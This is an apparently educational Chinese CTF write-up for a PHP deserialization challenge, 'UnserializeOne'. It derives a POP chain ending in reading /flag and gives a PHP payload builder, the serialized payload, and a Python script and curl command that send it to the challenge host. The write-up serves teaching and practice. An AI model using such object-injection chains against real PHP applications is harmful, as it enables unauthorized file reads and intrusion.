ARTICLE DETAIL

资讯详情

深耕编程入门与网站建设的一线实战洞察。

CTF题目《UnserializeOne》(BUUCTF Web 困难 反序列化)

CTF题目《UnserializeOne》(BUUCTF Web 困难 反序列化) CTF WriteUpPHP 反序列化 POP 链NewStarCTF 风格题目地址http://d861d3bd6cd4955b9d875dc7.http-ctf2.dasctf.com/类型Web / PHP 反序列化最终 FlagCTF2{e68832e4-7c7f-480e-b73f-07c44ef15638}0. 给完全小白的三个前置概念在看代码之前你只需要理解这三件事本篇 WP 后面都会反复用到unserialize()是还原对象的函数程序把一个对象存成字符串叫序列化unserialize()再把字符串变回对象。如果我们能控制这个字符串就能凭空造出一个内容被我们改过的对象。魔术方法Magic Method会自动触发名字以__开头的函数是 PHP 的忍者函数不用你手动调用满足条件就自动执行。常见的有__destruct()对象被销毁时自动执行。__toString()对象被当成字符串用时自动执行。__invoke()把对象当函数调用时自动执行。__call()调用一个不存在的方法时自动执行。__clone()clone一个对象时自动执行。__isset()对不可访问的属性用isset()时自动执行。POP 链是什么就是把这些自动触发的魔术方法用对象一个接一个串起来像多米诺骨牌一样触发第一个 → 它内部的操作触发第二个 → …… 最后触发到能读文件的那个危险函数。1. 第一步看题目给了什么打开题目网址页面直接高亮显示了源码精简后如下?phperror_reporting(0);highlight_file(__FILE__);classStart{// 有两个属性 $namepublic和 $funcprotectedpublic$name;protected$func;publicfunction__destruct(){echoWelcome to NewStarCTF, .$this-name;// (A) 输出时会拼接 $name}publicfunction__isset($var){($this-func)();// (E) 把 $func 当函数调用}}classSec{// 有两个属性 $objprivate和 $varprivateprivate$obj;private$var;publicfunction__toString(){$this-obj-check($this-var);// (B) 调用 $obj 的 check 方法returnCTFers;}publicfunction__invoke(){echofile_get_contents(/flag);// (F) 读取 flag终点}}classEasy{// 有1个属性 $clapublicpublic$cla;publicfunction__call($fun,$var){$this-claclone$var[0];// (C) clone 第 0 个参数}}classeeee{// 有1个属性 $objpublicpublic$obj;publicfunction__clone(){if(isset($this-obj-cmd)){// (D) 对 $obj-cmd 做 issetechosuccess;}}}if(isset($_POST[pop])){unserialize($_POST[pop]);// 入口POST 参数 pop}关键情报入口$_POST[pop]把它的值反序列化。所以我们要用 POST 提交一个pop参数。终点Sec::__invoke()里的file_get_contents(/flag)—— 这就是要读的文件。error_reporting(0)报错被关掉了。所以如果链子中途断了页面不会给你报错只会看到什么都没有。这也是为什么后面调试要小心。2. 第二步从终点倒推找出整条链子我们从能读 flag 的Sec::__invoke()“出发一步一步往回找谁能让它被触发”。步骤我们要触发的魔术方法触发条件用什么去触发① 起点Start::__destruct()对象销毁顶层传一个Start对象即可脚本结束自动触发②Sec::__toString()对象被当字符串Start的__destruct里有echo ...$this-name把$name设成Sec对象即可③Easy::__call()调用不存在的方法Sec::__toString里有$this-obj-check()把$obj设成Easy对象即可Easy没有check方法④eeee::__clone()clone对象Easy::__call里有clone $var[0]让参数第 0 个是eeee对象即可⑤Start::__isset()对不可访问或不存在的属性调用isseteeee::__clone里有isset($this-obj-cmd)把$obj设成Start对象即可因为⑥ 终点Sec::__invoke()对象被当函数调用Start::__isset里有($this-func)()把$func设成Sec对象即可把上面的①②③④⑤⑥连起来就得到完整链条Start::__destruct() └─ 拼接触发 Sec::__toString() └─ 调用不存在的 check() 触发 Easy::__call() └─ clone 触发 eeee::__clone() └─ isset 不可访问属性触发 Start::__isset() └─ 调用对象触发 Sec::__invoke() └─ file_get_contents(/flag) 用对象关系画出来就是Start(外层) └─ name Sec 对象 ├─ obj Easy 对象 └─ var eeee 对象 └─ obj Start 对象(内层) └─ func Sec 对象 ← 这个会被当函数调用读 flag3. 第三步动手构造 payload重点新手最容易踩坑3.1 序列化字符串格式扫盲PHP 序列化一个对象长这样O:类名长度:类名:属性个数:{ 属性名;属性值; 属性名;属性值; ... }数字5→i:5;字符串abc→ 长度要写对s:3:abc;null→N;数组[x]→a:1:{i:0;x;}属性名的隐形前缀超重要新手必错属性类型写法序列化后的属性名publicpublic $name;就是nameprotectedprotected $func;\0*\0func前面加\0*\0长度 3privateprivate $obj;\0类名\0obj前后包\0类名\0长度 类名长2其中\0是空字节NULL byte不是两个普通字符。长度s:8:...里的 8 空字节算 1 个字符。例如private $obj在Sec类里是\0Sec\0obj共1 3 1 3 8个字符所以写s:8:\0Sec\0obj。3.2 用 PHP 帮我们自动生成推荐做法手写空字节很容易出错最省事的办法是写一段 PHP 脚本让 PHP 自己serialize()。下面是构造脚本保存为build.php?phpclassStart{public$name;protected$func;}classSec{private$obj;private$var;}classEasy{public$cla;}classeeee{public$obj;}// 终点Sec 对象它的 __invoke 会读 /flag$secReadernewSec();// 内层 Start__isset 会执行 ($this-func)()把 func 设成上面的 Sec$innerStartnewStart();$rnewReflectionProperty(Start,func);// func 是 protected用反射赋值$r-setAccessible(true);$r-setValue($innerStart,$secReader);// eeee 对象__clone 会 isset($this-obj-cmd)把 obj 设成内层 Start$eneweeee();$e-obj$innerStart;// Easy 对象__call 会 clone $var[0]$easynewEasy();// Sec 对象__toString 会 $this-obj-check($this-var)$sec2newSec();$ronewReflectionProperty(Sec,obj);$ro-setAccessible(true);$rvnewReflectionProperty(Sec,var);$rv-setAccessible(true);$ro-setValue($sec2,$easy);// obj Easy$rv-setValue($sec2,$e);// var eeee 对象注意不是数组见下方说明// 外层 Start__destruct 会 echo $this-name把 name 设成上面的 Sec 对象$outernewStart();$outer-name$sec2;// 输出 payloadechoserialize($outer);运行php build.php得到的 payload 是O:5:Start:2:{s:4:name;O:3:Sec:2:{s:8:\0Sec\0obj;O:4:Easy:1:{s:3:cla;N;}s:8:\0Sec\0var;O:4:eeee:1:{s:3:obj;O:5:Start:2:{s:4:name;N;s:7:\0*\0func;O:3:Sec:2:{s:8:\0Sec\0obj;N;s:8:\0Sec\0var;N;}}}}s:7:\0*\0func;N;}3.3 ⚠️ 新手最大的坑$var[0]到底是什么很多教程会让你把Sec的var写成数组a:1:{i:0;eeee对象;}然后发现跑不通报错__clone method called on non-object。原因Easy::__call($fun, $var)的第二个参数$var本身就是参数数组。当Sec::__toString执行$this-obj-check($this-var)时它传给check()的参数是$this-var。如果你把Sec::$var设成eeee 对象→check()收到 1 个参数 →$var [eeee对象]→$var[0] eeee对象 ✅如果你把Sec::$var设成数组 [eeee对象]→check()收到 1 个参数那个数组→$var [[eeee对象]]→$var[0] 数组 ❌clone 数组报错结论Sec::$var直接设成eeee对象不要再包一层数组。这是本题唯一的隐藏陷阱。4. 第四步发送 payload 拿 flag因为 payload 里含有空字节不要直接在浏览器里手打用脚本发包最稳。exp.pyimporturllib.request,urllib.parse URLhttp://d861d3bd6cd4955b9d875dc7.http-ctf2.dasctf.com/payloadopen(payload.txt,rb).read()# 上面的序列化字符串# 用 latin-1 编码保证空字节原样传输dataurllib.parse.urlencode({pop:payload.decode(latin-1)}).encode(latin-1)requrllib.request.Request(URL,datadata)withurllib.request.urlopen(req,timeout30)asr:bodyr.read().decode(utf-8,replace)# 页面源码里 /code 之后才是执行输出tailbody.split(/code)[-1]print(tail)一行命令版把 payload 存成payload.txt后curl-s-XPOST --data-urlencodepoppayload.txt\http://d861d3bd6cd4955b9d875dc7.http-ctf2.dasctf.com/\|seds/.*\/code//返回结果CTF2{e68832e4-7c7f-480e-b73f-07c44ef15638} Welcome to NewStarCTF, CTFersWelcome to NewStarCTF,其中Welcome to NewStarCTF, CTFers说明整条链子被完整触发了__destruct输出 →__toString返回了 “CTFers”前面那串就是 flag。5. 完整总结项目内容入口POST参数pop→unserialize()终点Sec::__invoke()→file_get_contents(/flag)利用链Start::__destruct→Sec::__toString→Easy::__call→eeee::__clone→Start::__isset→Sec::__invoke关键点 1private/protected属性名带空字节前缀长度要算对关键点 2Easy::__call的$var是参数数组故Sec::$var应为eeee对象不是数组FlagCTF2{e68832e4-7c7f-480e-b73f-07c44ef15638}6. 新手复习清单下次遇到同类题照做先找入口谁调用了unserialize()参数名是什么。再找终点哪个魔术方法里有危险操作读文件、命令执行、文件写入。倒推链条从终点往回逐个列出哪个魔术方法能触发下一个写成表格。用 PHP 生成 payload写出同名类 →new出对象 → 设置属性 →serialize()。不要手写避免空字节和长度算错。注意方法参数的含义像本题__call($fun, $var)的$var是参数数组想清楚$var[0]对应你设置的哪个属性。用脚本发包含空字节的 payload浏览器里不好手动输入。看执行输出调试时可以先在本地用 PHP 复现题目代码能直接看到报错定位问题最快。
返回列表